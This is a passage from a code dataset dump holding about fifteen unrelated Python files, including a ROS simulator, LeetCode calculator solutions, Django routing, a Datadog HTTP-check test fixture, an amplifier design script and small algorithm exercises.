=============================================================================\n# # when it gets here (every n-th simulation step) we want to actually publish the data\n# =============================================================================\n# # Maybe log the current position?\n# robot.append_current_position_to_history()\n \n # Now publish the pose\n robot_pose_message.x = robot.r_center_world[0]\n robot_pose_message.y = robot.r_center_world[1]\n robot_pose_message.theta = robot.theta\n pub_robot_pose.publish(robot_pose_message)\n \n # And the encoder angles\n robot_wheel_angles_message.ang_left = robot.left_wheel_angle\n robot_wheel_angles_message.ang_right = robot.right_wheel_angle\n pub_robot_wheel_angles.publish(robot_wheel_angles_message)\n \n # And the wheel displacements\n robot_wheel_displacements_message.d_left = robot.left_wheel_distance_traveled\n robot_wheel_displacements_message.d_right = robot.right_wheel_distance_traveled\n pub_robot_wheel_displacements.publish(robot_wheel_displacements_message)\n \n rospy.loginfo(pub_robot_pose)\n \n \n# =============================================================================\n# # Callback function to set wheel speeds in the robot object\n# =============================================================================\ndef set_wheel_speed_targets(msg_in, robot): \n global t_previous\n t_current = rospy.get_rostime()\n dt = (t_current - t_previous).to_sec()\n t_previous = t_current # save the current time as the previous time, for the next use. \n robot.integration_step(dt)\n robot.set_wheel_speeds(msg_in.v_left, msg_in.v_right)\n \n \n \n \n \n \nif __name__ == '__main__':\n try: \n simulate()\n except rospy.ROSInterruptException: \n traceback.print_exc()\n","sub_path":"mobrob/src/mobile_robot_kinematic_simulator.py","file_name":"mobile_robot_kinematic_simulator.py","file_ext":"py","file_size_in_byte":5313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"296485751","text":"from unittest import TestCase\n\nfrom stellar_model import TransactionsResponse\nfrom stellar_model.model.horizon.transaction import Transaction\nfrom tests.response import load_response_file\n\n\nclass TestTransactionsResponse(TestCase):\n def test_valid(self):\n raw_data = load_response_file(\"transactions_response.json\")\n parsed_data = TransactionsResponse.parse_obj(raw_data)\n self.assertEqual(len(parsed_data.embedded.records), 100)\n for record in parsed_data.embedded.records:\n self.assertTrue(isinstance(record, Transaction))\n self.assertEqual(\n parsed_data.links.self.href,\n \"https://horizon.stellar.org/transactions?cursor=&include_failed=true&limit=100&order=desc\",\n )\n self.assertEqual(parsed_data.links.self.templated, None)\n self.assertEqual(\n parsed_data.links.next.href,\n \"https://horizon.stellar.org/transactions?cursor=150723639505981440&include_failed=true&limit=100&order=desc\",\n )\n self.assertEqual(parsed_data.links.next.templated, None)\n self.assertEqual(\n parsed_data.links.prev.href,\n \"https://horizon.stellar.org/transactions?cursor=150723643801051136&include_failed=true&limit=100&order=asc\",\n )\n self.assertEqual(parsed_data.links.prev.templated, None)\n","sub_path":"tests/response/test_transactions_response.py","file_name":"test_transactions_response.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"384377196","text":"# LC227 Basic Calculator II\n# Medium\n\n# Implement a basic calculator to evaluate a simple expression string.\n\n# The expression string contains only non-negative integers, +, -, *, / operators and empty spaces . The integer division should truncate toward zero.\n\n# Note:\n# You may assume that the given expression is always valid.\n# Do not use the eval built-in library function.\n\n\nclass Solution(object):\n\n # Version A\n # Use the op stack and number staock\n # This is quite slow\n def calculate(self, s: str) -> int:\n nums = \"0123456789\"\n\n number, op = [], []\n temp = \"\"\n for i in s:\n if i in nums:\n temp += i\n elif i in \"*/+-\":\n number.append(int(temp))\n temp = \"\"\n op.append(i)\n number.append(int(temp))\n\n k = 0\n while k != len(op):\n o = op[k]\n if o in \"*/\":\n if o == \"*\":\n number[k] = number[k] * number[k + 1]\n if o == \"/\":\n number[k] = number[k] // number[k + 1]\n number.pop(k + 1)\n op.pop(k)\n else:\n k += 1\n\n k = 0\n while k != len(op):\n o = op[k]\n if o == \"+\":\n number[k] = number[k] + number[k + 1]\n if o == \"-\":\n number[k] = number[k] - number[k + 1]\n number.pop(k + 1)\n op.pop(k)\n\n return number[0]\n\n\nclass Solution(object):\n\n # Version B\n # Simplified stack, calculate * and / on the run, then finish with + and -\n # This is 10 times faster and passed the same speed as STD ans\n def calc(self, n1, op, n2):\n \"\"\"\n n1, n2 will be numbers\n op will be operator in str\n \"\"\"\n if op == \"*\":\n return n1 * n2\n if op == \"/\":\n return n1 // n2\n if op == \"+\":\n return n1 + n2\n if op == \"-\":\n return n1 - n2\n\n def calculate(self, s: str) -> int:\n n = \"0123456789\"\n op = []\n number = []\n priority = False\n\n temp = \"\"\n for i in s:\n if i in n:\n temp += i\n elif i in \"+-\":\n number.append(int(temp))\n op.append(i)\n temp = \"\"\n\n # when meet next operator + and -, condentse all previous stacks to one number\n while len(number) >= 2:\n number.append(self.calc(number.pop(-2), op.pop(-2), number.pop()))\n priority = False\n\n elif i in \"*/\":\n number.append(int(temp))\n op.append(i)\n temp = \"\"\n # when meet next operator * and / only calculate if previous calculation is also * and /\n # Otherwise, hold for priority\n if priority and len(number) >= 2:\n number.append(self.calc(number.pop(-2), op.pop(-2), number.pop()))\n priority = True\n\n number.append(int(temp))\n while len(number) >= 2:\n number.append(self.calc(number.pop(-2), op.pop(), number.pop()))\n\n return number[-1]\n\n\nclass Solution(object):\n\n # STD ans, this will inlcude the use of \"()\"\n # @param {string} s\n # @return {integer}\n\n # THis modify the stacks directly by removing the last two item and add calculated result\n def compute(self, operands, operators):\n left, right = operands.pop(), operands.pop()\n op = operators.pop()\n if op == \"+\":\n operands.append(left + right)\n elif op == \"-\":\n operands.append(left - right)\n elif op == \"*\":\n operands.append(left * right)\n elif op == \"/\":\n operands.append(left // right)\n\n def calculate(self, s: str) -> int:\n operands, operators = [], []\n operand = \"\"\n for i in reversed(range(len(s))):\n elem = s[i]\n if elem.isdigit():\n operand += elem\n if i == 0 or not s[i - 1].isdigit():\n operands.append(int(operand[::-1]))\n operand = \"\"\n elif elem == \")\" or elem == \"*\" or elem == \"/\":\n operators.append(s[i])\n elif elem == \"+\" or elem == \"-\":\n while operators and \\\n (operators[-1] == \"*\" or operators[-1] == \"/\"):\n self.compute(operands, operators)\n operators.append(elem)\n elif elem == \"(\":\n while operators[-1] != \")\":\n self.compute(operands, operators)\n operators.pop()\n\n while operators:\n self.compute(operands, operators)\n\n return operands[-1]\n\n\nif __name__ == \"__main__\":\n assert Solution().calculate(\"3+2*2\") == 7, \"Example 1\"\n assert Solution().calculate(\" 3/2 \") == 1, \"Example 2\"\n assert Solution().calculate(\" 3+5 / 2 \") == 5, \"Example 3\"\n assert Solution().calculate(\"282-1*2*13-30-2*2*2/2-95/5*2+55+804+3024\") == 4067, \"Additional 1\"\n # assert Solution().calculate(\"(3-1)*(4-1)\") == 6, \"Additional 2\"\n\n print(\"All passed\")\n","sub_path":"LeetCode/LC227_basic_calculator_ii.py","file_name":"LC227_basic_calculator_ii.py","file_ext":"py","file_size_in_byte":5212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"624571801","text":"from django.urls import include, path\nfrom rest_framework import routers\n\nfrom .views import AppointmentViewSet, PatientViewSet, PatientAppointmentViewSet\n\n# Routers provide an easy way of automatically determining the URL conf.\n# https://www.django-rest-framework.org/api-guide/routers/#api-guide\n\nrouter = routers.DefaultRouter()\nrouter.register(r\"appointments\", AppointmentViewSet)\nrouter.register(r\"patients\", PatientViewSet)\nrouter.register(r\"patientappointments\",PatientAppointmentViewSet)\n\n# Wire up our API using automatic URL routing.\nurlpatterns = [\n path(\"\", include(router.urls), name=\"appointment-booking\"),\n]\n","sub_path":"backend/appointment_booking/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"470146299","text":"# 1021 / calculate min cnt for pop target numbers\nfrom collections import deque\n\nn, m = map(int, input().split())\nts = deque(map(int, input().split())) # target numbers\n\nres = 0\nqueue = deque(range(1, n + 1))\nwhile len(ts) > 0:\n if ts[0] == queue[0]: # if target number can pop\n queue.popleft()\n ts.popleft()\n else: # rotate numbers\n idx = queue.index(ts[0])\n if idx <= len(queue) // 2:\n queue.rotate(-idx)\n res += idx\n else:\n queue.rotate(len(queue) - idx)\n res += len(queue) - idx\nprint(res)\n","sub_path":"queue/1021.py","file_name":"1021.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"650718255","text":"# Implementar la funcion listar_pesos, que devuelva el historial de pesos para una persona dada.\n# Debe validar:\n# - que el ID de la persona ingresada existe (reutilizando las funciones ya implementadas).\n\n# Debe devolver:\n# - Lista de (fecha, peso), donde fecha esta representado por el siguiente formato: AAAA-MM-DD.\n# Ejemplo:\n# [\n# ('2018-01-01', 80),\n# ('2018-02-01', 85),\n# ('2018-03-01', 87),\n# ('2018-04-01', 84),\n# ('2018-05-01', 82),\n# ]\n# - False en caso de no cumplir con alguna validacion.\n\n\nfrom sqlalchemy.orm import sessionmaker\nimport datetime\n\n\nfrom practico_03A.ejercicio_02 import insertarReg\nfrom practico_03A.ejercicio_01 import engine\nfrom practico_03A.ejercicio_06 import PersonaPeso, reset_tabla\nfrom practico_03A.ejercicio_07 import agregar_peso\n\nfrom practico_03A.ejercicio_04 import buscar_persona\n\n\nSession = sessionmaker(bind = engine)\nsession = Session()\nsession = Session()\n\ndef listar_pesos(idPersona):\n res = buscar_persona(idPersona)\n lista=[]\n if res != False:\n\n result = session.query(PersonaPeso).filter(PersonaPeso.idPersona == idPersona).all()\n\n for i in result:\n aux = i.fecha\n lista.append(tuple([str(aux), i.peso]))\n return lista\n else:\n return False\n\n\n\n@reset_tabla\ndef pruebas():\n id_juan = insertarReg('juan perez', datetime.date(1988, 5, 15), 32165498, 180)\n agregar_peso(id_juan, datetime.date(2018, 5, 1), 80)\n agregar_peso(id_juan, datetime.date(2018, 6, 1), 85)\n pesos_juan = listar_pesos(id_juan)\n pesos_esperados = [\n ('2018-05-01', 80),\n ('2018-06-01', 85),\n ]\n assert pesos_juan == pesos_esperados\n # id incorrecto\n assert listar_pesos(200) == False\n\n\nif __name__ == '__main__':\n pruebas()\n\n","sub_path":"practico_03A/ejercicio_08.py","file_name":"ejercicio_08.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"263884218","text":"# -*- coding: utf-8 -*-\n# pragma pylint: disable=unused-argument, no-self-use\n# (c) Copyright IBM Corp. 2010, 2022. All Rights Reserved.\nimport functools\nfrom threading import Event\nfrom datetime import datetime\nfrom logging import getLogger\nfrom traceback import format_exc\nfrom resilient import SimpleHTTPException\n\nLOG = getLogger(__name__)\n\n# P O L L E R L O G I C\ndef poller(named_poller_interval, named_last_poller_time, package_name):\n \"\"\"\n Decorator for poller, manage poller time, calling the customized method for getting the next entities\n :param named_poller_interval: (str) Name of instance variable containing the poller interval in seconds\n :param named_last_poller_time: (datetime) Name of instance variable containing the lookback value in mseconds\n :param package_name: (str) Name of package for loggging\n \"\"\"\n def poller_wrapper(func):\n # Decorator for running a function forever, passing the ms timestamp of\n # when the last poller run to the function it's calling\n @functools.wraps(func)\n def wrapped(self):\n last_poller_time = getattr(self, named_last_poller_time)\n exit_event = Event()\n\n while not exit_event.is_set():\n try:\n LOG.info(u\"%s polling start.\", package_name)\n poller_start = datetime.now()\n # Function execution with the last poller time in ms\n func(self, last_poller_time=int(last_poller_time.timestamp()*1000))\n\n except Exception as err:\n LOG.error(str(err))\n LOG.error(format_exc())\n finally:\n LOG.info(u\"%s polling complete.\", package_name)\n # Set the last poller time for next cycle\n last_poller_time = poller_start\n\n # Sleep before the next poller execution\n exit_event.wait(getattr(self, named_poller_interval))\n exit_event.set() # Loop complete\n\n return wrapped\n return poller_wrapper\n\nclass SOARCommon():\n \"\"\" Common methods for accessing IBM SOAR cases and their entities: comment, attachments, etc. \"\"\"\n\n def get_open_soar_cases(search_fields, rest_client, open_cases=True):\n \"\"\" \n Find all IBM SOAR cases which are associated with the endpoint platform\n :param search_fields: (dict) List of field(s) used to track the relationship with a SOAR case\n field values can be True/False for 'has_a_value' or 'does_not_have_a_value'\n Otherwise a field will use 'equals' for the value\n NOTE: search_fields only supports custom fields\n :return soar_cases: (list) Returned list of cases\n :return error_msg: (str) Any error during the query or None\n \"\"\"\n query = SOARCommon._build_search_query(search_fields, open_cases=open_cases)\n\n try:\n return rest_client.post('/incidents/query?return_level=normal', query), None\n except SimpleHTTPException as err:\n LOG.error(str(err))\n LOG.error(query)\n return None, str(err)\n\n def _build_search_query(search_fields, open_cases=True):\n \"\"\"\n Build the json structure needed to search for cases\n :param search_fields: (dict/list) Key/value pairs to search custom fields with specific values.\n If a value contains \"*\" then a search is used with 'has_a_value'\n NOTE: search_fields works on custom fields\n :return query_string: (dict) json stucture used for cases searching\n \"\"\"\n query = {\n \"filters\": [{\n \"conditions\": [\n ]\n }],\n \"sorts\": [{\n \"field_name\": \"create_date\",\n \"type\": \"desc\"\n }]\n }\n\n if open_cases:\n field_search = {\n \"field_name\": \"plan_status\",\n \"method\": \"equals\",\n \"value\": \"A\"\n }\n query['filters'][0]['conditions'].append(field_search)\n\n if isinstance(search_fields, dict):\n for search_field, search_value in search_fields.items():\n field_search = {\n \"field_name\": \"properties.{0}\".format(search_field)\n }\n if isinstance(search_value, bool):\n field_search['method'] = \"has_a_value\" if search_value else \"does_not_have_a_value\"\n else:\n field_search['method'] = \"equals\"\n field_search['value'] = search_value\n\n query['filters'][0]['conditions'].append(field_search)\n\n return query\n","sub_path":"fn_qradar_enhanced_data/fn_qradar_enhanced_data/lib/poller_common.py","file_name":"poller_common.py","file_ext":"py","file_size_in_byte":4840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"19076999","text":"# (C) Datadog, Inc. 2018-present\n# All rights reserved\n# Licensed under a 3-clause BSD style license (see LICENSE)\nimport os\nimport sys\n\nimport pytest\nfrom mock import patch\n\nfrom datadog_checks.dev import docker_run, run_command\nfrom datadog_checks.dev.utils import ON_WINDOWS\nfrom datadog_checks.http_check import HTTPCheck\n\nfrom .common import CONFIG_E2E, HERE\n\nMOCKED_HOSTS = ['valid.mock', 'expired.mock', 'wronghost.mock', 'selfsigned.mock']\n\n\n@pytest.fixture(scope='session')\ndef dd_environment():\n cacert_path = os.path.join(HERE, 'fixtures', 'cacert.pem')\n e2e_metadata = {'docker_volumes': ['{}:/opt/cacert.pem'.format(cacert_path)]}\n with docker_run(\n os.path.join(HERE, 'compose', 'docker-compose.yml'), build=True, log_patterns=[\"starting server on port\"]\n ):\n yield CONFIG_E2E, e2e_metadata\n\n\n@pytest.fixture(scope='session')\ndef mock_dns():\n import socket\n\n _orig_getaddrinfo = socket.getaddrinfo\n _orig_connect = socket.socket.connect\n\n def patched_getaddrinfo(host, *args, **kwargs):\n if host.endswith('.mock'):\n # See socket.getaddrinfo, just updating the hostname here.\n # https://docs.python.org/3/library/socket.html#socket.getaddrinfo\n return [(2, 1, 6, '', ('127.0.0.1', 443))]\n\n return _orig_getaddrinfo(host, *args, **kwargs)\n\n def patched_connect(self, address):\n host, port = address[0], address[1]\n if host.endswith('.mock'):\n host, port = '127.0.0.1', 443\n\n return _orig_connect(self, (host, port))\n\n socket.getaddrinfo = patched_getaddrinfo\n socket.socket.connect = patched_connect\n yield\n socket.getaddrinfo = _orig_getaddrinfo\n socket.socket.connect = _orig_connect\n\n\n@pytest.fixture()\ndef mock_hosts_e2e():\n \"\"\"Only for e2e testing\"\"\"\n container_id = \"dd_http_check_{}\".format(os.environ[\"TOX_ENV_NAME\"])\n commands = []\n for mocked_host in MOCKED_HOSTS:\n commands.append(r'bash -c \"printf \\\"127.0.0.1 {}\\n\\\" >> /etc/hosts\"'.format(mocked_host))\n\n for command in commands:\n run_command('docker exec {} {}'.format(container_id, command))\n\n\n@pytest.fixture(scope='session')\ndef http_check():\n # Patch the function to return the certs located in the `tests/` folder\n with patch('datadog_checks.http_check.http_check.get_ca_certs_path', new=mock_get_ca_certs_path):\n yield HTTPCheck('http_check', {}, [{}])\n\n\n@pytest.fixture(scope='session')\ndef embedded_dir():\n if ON_WINDOWS:\n return 'embedded{}'.format(sys.version_info[0])\n else:\n return 'embedded'\n\n\ndef mock_get_ca_certs_path():\n \"\"\"\n Mimic get_ca_certs_path() by using the certificates located in the `tests/` folder\n \"\"\"\n embedded_certs = os.path.join(HERE, 'fixtures', 'cacert.pem')\n\n if os.path.exists(embedded_certs):\n return embedded_certs\n\n raise Exception(\"Embedded certs not found: {}\".format(embedded_certs))\n","sub_path":"http_check/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"448371213","text":"\"\"\"\nTravis Robinson\nOregon State\nComputer Science\ntravisrobinson2006@gmail.com\nrobitrav@oregonstate.edu\n\"\"\"\n\n\"\"\"\nCalculator module for Victoria. Contains functions for converting numbers as text to numbers, as well as doing the calculations that are needed\n\"\"\"\n\n#import modules\nimport math\nfrom collections import deque\n\n#operators--made global so it can be referenced by other modules--operators_english used as part of converting from text to math-ready values--'end' is a flag signaling termination of\n#the equation\noperators = ['+','-','x','/','end']\noperators_english1 = ['plus','minus','times','divide']\noperators_english2 = ['add','subtract','multuple','divided']\noperators_english = [operators_english1,operators_english2]\n\nscale_units = ['thousand','million','billion','trillion','quadrillion']\n\n\"\"\"\nDescription: receives a list containing ints and words, converts it into a single value\nInput: a number as a mix of ints and strings (ie 6 \"billion\")\nOutput: a single value (ie 6000000000)\nNote:Found that speech recognizer has numbers as strings, not ints, \"6\" not 6--should rewrite this to take care of converting \"6\" to 6--as stands this is done in calling function\n\"\"\"\ndef word_to_num(word):\n invalid_number = result_negative = 0 #flags used to check for negative or invalid numbers\n current = 0 #use this to hold input digits to multiply by scale values (million, billion, etc); add to result after this is done\n result = 0 #accumulator for final result\n\n for i in word:\n if word.index(i)==(len(word)-1) and isinstance(i,(int,long)):#if last number, add it to result; case where number doesn't end in 0 (ie last word entered is not million, etc)\n result = result+i\n elif isinstance(i,(int,long)) and current != 0:\n return \"invalidNumber\"\n elif isinstance(i,(int,long)):\n current = i\n elif i in scale_units:\n current = current*math.pow(10,(scale_units.index(i)+1)*3) #multiply current value by scale value, determined by location location of scale in list\n result = result + current #add current to result and reset-do here so as not to add scale coefficient to result\n current = 0\n elif word.index(i) == 0 and i == 'negative': #check to see if negative flag needs setting\n result_negative = 1\n else:\n return \"invalidNumber\"\n if result_negative == 1:\n result = result * -1\n return result\n\n\n\"\"\"\nDescription: converts a user given infix expression to postfix\nInput: an equation using infix notation\nOutput: an equation using postfix notation\n\"\"\"\ndef infix_to_postfix(equation):\n marker_begin = marker_end = 0\n stack = []\n postfix = deque([])\n# operators = ['+','-','*','/','sqrt','end']\n equation.append('end')#used to mark the end of the list, retrieving proper values\n for i in equation:#convert to postfix\n if i in operators or equation.index(i)+1 == len(equation):#sort through using operators as a delimiter from converting values\n postfix.append(word_to_num(equation[marker_begin:marker_end]))#append to postfix the number converted from list of strings to a single value\n if len(stack) == 0:#is stack empty operator goes on\n stack.append(i)\n elif operators.index(stack[-1]) > operators.index(i):#affix operators in correct order using pemdas--pop higher tier operators from stack to postfix before placing lower tier on stack\n postfix.append(stack[-1])\n stack.pop()\n stack.append(i)\n else:#lower tier operator stays on stack, higher tier placed on top\n stack.append(i)\n marker_begin = equation.index(i)+1\n marker_end = marker_begin\n else:#adjust marker so we know what words to send to word_to_num\n marker_end = marker_end + 1\n stack.pop() #remove end marker from stack\n while len(stack) != 0:\n postfix.append(stack[-1])\n stack.pop()\n return postfix\n\n\"\"\"\nDescription: solves postfix equations\nInput: a postfix equation\nOutput: an answer\n\"\"\"\ndef solve_postfix(postfix):\n stack = []\n while len(postfix) != 0:#solve postfix,go through pushing values onto stack--when operator found, remove top two values and apply operator, pushing result onto stack\n if postfix[0] == '+':\n postfix.popleft()\n val_two = stack[-1]\n stack.pop()\n val_one = stack[-1]\n stack.pop()\n stack.append(val_one+val_two)\n elif postfix[0] == '-':\n postfix.popleft()\n val_two = stack[-1]\n stack.pop()\n val_one = stack[-1]\n stack.pop()\n# print val_one\n # print val_two\n stack.append(val_one-val_two)\n elif postfix[0] == 'x':\n postfix.popleft()\n val_two = stack[-1]\n stack.pop()\n val_one = stack[-1]\n stack.pop()\n stack.append(val_one*val_two)\n elif postfix[0] == '/':\n postfix.popleft()\n val_two = stack[-1]\n stack.pop()\n val_one = stack[-1]\n stack.pop()\n stack.append(val_one/val_two)\n else:\n stack.append(postfix[0])\n postfix.popleft()\n return stack[0]#stack at end will only contain final value, return as number\n\n\"\"\"\nDescription: wrapper function, accepts an equation from user, solves it\nInput: an infix equation full of words\nOutput: the value of the equation\n\"\"\"\ndef calculate(equation):\n return solve_postfix(infix_to_postfix(equation))\n","sub_path":"calculator_lib_files/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":5643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"215870508","text":"def insertion_sort(arr):\n length = len(arr)\n i = 1\n while i < length:\n anchor = arr[i]\n j = i -1\n while j >= 0 and anchor < arr[j]:\n arr[j+1] = arr[j]\n j = j-1\n arr[j+1] = anchor\n i += 1\n return arr\n\narr = [12,43,12,34,23,56,32,41,45,24,64,57,97,35]\n\nprint(arr)\nresult = insertion_sort(arr)\nprint(result)","sub_path":"Insertion_sort.py","file_name":"Insertion_sort.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"536456844","text":"import csv\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfilename = \"Motor_Vehicle_Crashes_-_Vehicle_Information__Three_Year_Window.csv\"\nwith open(filename) as f:\n reader = csv.reader(f)\n head_row = next(reader)\n\n crash_dic = {}\n for row in reader:\n if row[4] in crash_dic:\n crash_dic[row[4]] += 1\n else:\n crash_dic[row[4]] = 1\n\n\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\n\nfig, ax = plt.subplots()\nn = len(crash_dic)\nx = np.linspace(5, 200, n)\n\nax.bar(x, crash_dic.values())\nax.set_xticks(x)\nax.set_xticklabels(crash_dic.keys(), rotation=20)\n\nplt.show()\n\n","sub_path":"csv/crash.py","file_name":"crash.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"89829663","text":"# Reading the inputs\nn = int(input())\nk = int(input())\n\n# Function\ndef pattern(n,dif=k,final=n):\n if n<=0:\n print(n,end=\", \")\n else:\n print(n,end=\", \")\n pattern(n-dif)\n if final==n:\n print(n)\n else:\n print(n,end=\", \")\n # Write your recursive function here\npattern(n,k)","sub_path":"PythonModule2/Recursive Pattern/rec.py","file_name":"rec.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"456937913","text":"\n# coding: utf-8\n\n# In[2]:\n\n#amp params\nspeakers_impedance = 8 #ohms\ntarget_output_power = 40 # wats\n\n#LM3886 - consult with datasheet\namp_voltage_drop = 4\nmax_supply_voltage_pp = 84 #V |Vcc|+|Vee|\nsafety_margin = 0.90 # 10 %\npassive_current = 0.085 # A\n\n#trafo regulation\nvariation_in_main = 1.1\ntrafo_regulation = 1.06\ntrafo_v_rms_out = 24\ntrafo_v_peak_out = trafo_v_rms_out * 1.41 #V\n\nimport math\nv_pk_output = math.sqrt(2*speakers_impedance*target_output_power)\nprint(\"Maximum output signal voltage:\\t{0:.2f}V\".format(v_pk_output))\nrequired_voltage = (v_pk_output + amp_voltage_drop) * trafo_regulation * 1.1\n\nprint(\"Required supply voltage:\\t{0:.2f}V\".format(required_voltage))\nprint(\"Trafo output peak voltage:\\t{0:.2f}V\".format(trafo_v_peak_out))\n\nmax_supply_voltage =(max_supply_voltage_pp/2) * safety_margin\n\nprint(\"Max allowed supply voltage:\\t{0:.2f}V\".format(max_supply_voltage))\nif(max_supply_voltage < trafo_v_peak_out):\n print(\"Trafo output voltage is to big!\")\n\n\nv = (trafo_v_peak_out/(trafo_regulation * variation_in_main) - amp_voltage_drop)\nprint(\"\\n\",v)\nactual_power = (v*v)/speakers_impedance/2\n\nprint(\"\\nMax output power (Rout={0}ohms):\\t{1:.0f}W\".format(speakers_impedance, actual_power))\n\n# Required trafo power cacilation\n\nout_current_load_max = v_pk_output/3.14/speakers_impedance\nout_current_total = passive_current + out_current_load_max\n\np_supply = 2*trafo_v_peak_out * out_current_total\n\nprint(\"Required power per channel:\\t{:.2f}W\".format(p_supply))\np_sup_marg = p_supply*1.5\nprint(\" --- with margin:\\t{:.2f}W\".format(p_sup_marg))\nva_ratings = p_sup_marg*2\nprint(\" --- total:\\t\\t{:.2f}W\".format(va_ratings))\n\nprint(\"\\n### TRAFO PARMAS ###\")\nprint(\"Out voltage:\\t2*{0:.2f}\\nVA rating:\\t{1:.2f}\".format(trafo_v_rms_out, va_ratings))\n\n\n# In[7]:\n\ni_vol_rms = 0.316#V\ni_vol_a = 1.41 * 0.316\nv_in_max = 2*i_vol_a\n\nprint(i_vol_rms,i_vol_a, i_vol_pp)\n\nv_out_max = math.sqrt(actual_power * speakers_impedance)\nprint(v_out_max)\n\nmin_gain = v_out_max/v_in_max\n\nprint(\"Minimum gain required: {0:.2f}\".format(min_gain))\n","sub_path":"amp-01/scripts/calculation.py","file_name":"calculation.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"527718505","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nGRead controller\n\"\"\"\nfrom PyQt4.QtCore import QObject, Qt, QTimer, SIGNAL\nfrom PyQt4.QtGui import QApplication\n\nfrom ..basic.controller import Controller as BasicController\n\nfrom feedlist import FeedListView\nfrom itemlist import ItemListView\nfrom itemview import ItemViewView\nfrom settings_dialog import SettingsDialog\n\nfrom engine import settings\n\nclass Controller(BasicController):\n \n def __init__(self, *args, **kwargs):\n super(Controller, self).__init__(*args, **kwargs)\n\n # manage orientation\n self.portrait_mode = False\n self.set_portrait_mode(settings.get('other', 'portrait_mode'))\n\n # manage scrolling titles\n self.title_timer = QTimer()\n QObject.connect(self.title_timer, SIGNAL(\"timeout()\"), self.timeout_title_timer)\n \n def create_views(self):\n \"\"\"\n Create all the views used by the application\n \"\"\"\n self.settings_dialog = SettingsDialog(controller=self)\n self.feedlist_view = FeedListView(controller=self)\n self.itemlist_view = ItemListView(controller=self)\n self.itemview_view = ItemViewView(controller=self)\n\n def settings_updated(self, *args, **kwargs):\n self.set_portrait_mode(settings.get('other', 'portrait_mode'))\n super(Controller, self).settings_updated(*args, **kwargs)\n\n def manage_orientation(self):\n \"\"\"\n Manage the application orientation mode\n \"\"\"\n for view in self.views:\n try:\n view.manage_orientation()\n except:\n pass\n\n def set_portrait_mode(self, portrait_mode):\n if portrait_mode == self.portrait_mode:\n return\n self.portrait_mode = portrait_mode\n self.manage_orientation()\n \n def get_title_operations_part(self):\n \"\"\"\n Get the part of the title which will handle the running operations counter\n \"\"\"\n nb = self.account.operations_manager.count_running()\n if nb:\n return \"%d\" % nb\n else:\n return \"\"\n","sub_path":"src/views/maemo5/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"32194950","text":"\"\"\"平面上的多个点的最短连接\n\n每次计算所有已连接点到所有未连接点的距离,连接最短的那条\n\"\"\"\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nnp.random.seed(19950901)\nn = 100\nx_low, x_high, y_low, y_high = 0, 100, 0, 100\n\n\ndef shortest_lines(points: list) -> list:\n \"\"\"找出最短路径\"\"\"\n outs = {i: p for i, p in enumerate(points)} # 未连接的点\n ins = {0: outs.pop(0)} # 已连接的点\n lines = [] # 连接线\n\n def dist(point1, point2):\n \"\"\"计算两个点的距离\"\"\"\n return np.sum((point1 - point2) ** 2)\n\n while outs:\n # 找到最短路径\n p0, p1, ko, ki = min(\n (\n (out_p, in_p, ko, ki)\n for ko, out_p in outs.items() for ki, in_p in ins.items()\n ),\n key=lambda p: dist(p[0], p[1])\n )\n ins[ko] = outs.pop(ko)\n lines.append((ki, ko))\n\n return lines\n\n\ndef plot(points: list, lines: list):\n \"\"\"画出路径\"\"\"\n for l in lines:\n p1, p2 = points[l[0]], points[l[1]]\n xs, ys = [p1[0], p2[0]], [p1[1], p2[1]]\n plt.plot(xs, ys, marker='o')\n plt.show()\n\n\ndef main():\n points = [\n np.array([\n np.random.randint(x_low, x_high),\n np.random.randint(y_low, y_high)\n ])\n for _ in range(n)\n ]\n lines = shortest_lines(points)\n plot(points, lines)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"shortest_line.py","file_name":"shortest_line.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
